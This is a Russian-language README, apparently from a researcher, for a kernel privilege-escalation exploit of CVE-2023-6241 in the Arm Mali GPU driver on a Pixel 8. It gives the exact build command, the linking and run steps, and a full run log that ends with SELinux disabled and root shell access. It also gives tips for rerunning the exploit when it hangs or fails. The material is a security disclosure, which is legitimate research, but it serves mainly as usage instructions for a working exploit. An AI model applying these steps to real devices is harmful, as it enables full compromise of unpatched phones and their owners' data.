
CVE-2023-6241 for Pixel 8
Подробный разбор можно найти здесь. Это ошибка в драйвере ядра Arm Mali, о которой я сообщил в ноябре 2023 года. Ошибка может быть использована для получения произвольного выполнения кода в ядре из недоверенного домена приложений, что затем используется для отключения SELinux и получения root.
Эксплойт протестирован на Google Pixel 8 с ноябрьским патчем 2023 года (UD1A.231105.004). Его нужно компилировать с OpenCL и слинковать с библиотекой OpenCL libGLES_mali.so. Библиотеку можно найти на устройстве Pixel 8 в vendor/lib64/egl/libGLES_mali.so, а заголовочные файлы OpenCL — в репозитории OpenCL-заголовков KhronosGroup. Конкретная версия заголовков, которую я использовал, — v2023.04.17, хотя другие версии также должны работать. Для справки: я использовал следующую команду для компиляции с помощью clang в ndk-26:
android-ndk-r26b/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang -DSHELL -DCL_TARGET_OPENCL_VERSION=300 -I. -L. mali_jit_csf.c mem_read_write.c mempool_utils.c -lGLES_mali -o mali_jit_csf
Эксплойт нужно слинковать с libGLES_mali.so. Это можно сделать, установив LD_LIBRARY_PATH в /vendor/lib64/egl. Эксплойт редко завершается сбоем, и даже если это происходит, он обычно не повреждает систему и не вызывает её сбой. Поэтому в случае неудачи его можно запустить заново. При успешном выполнении он должен отключить SELinux и получить root.
shiba:/data/local/tmp $ LD_LIBRARY_PATH=/vendor/lib64/egl ./mali_jit_csf
mali_fd 3
corrupted_jit_addr 6000001000
kernel success
kernel success
queue kernel
jit_grow addr 6000001000
Size after grow: 22f6
Final grow size: 23c7
keep alive jit_addr 60023d1000
Size after free: 21fd, trim_level 6
writing to gpu_va 6002301000
found reused page 5fffef6000, 0
pgd entry found at index 0 40000899bbc443
overwrite addr : 5ffff00b50 b50
overwrite addr : 5fffb00b50 b50
overwrite addr : 5fff900b50 b50
overwrite addr : 5ffff00714 714
overwrite addr : 5fffb00714 714
overwrite addr : 5fff900714 714
result 50
clean up
При первом запуске эксплойт иногда зависает после вывода последнего сообщения overwrite addr. Если это произошло (зависание более чем на 10 секунд, хотя пауза в несколько секунд — это нормально), просто убейте эксплойт и запустите его заново. Во второй раз он не должен зависать.
Чтобы протестировать его с включённым MTE, следуйте этим инструкциям по включению MTE в ядре.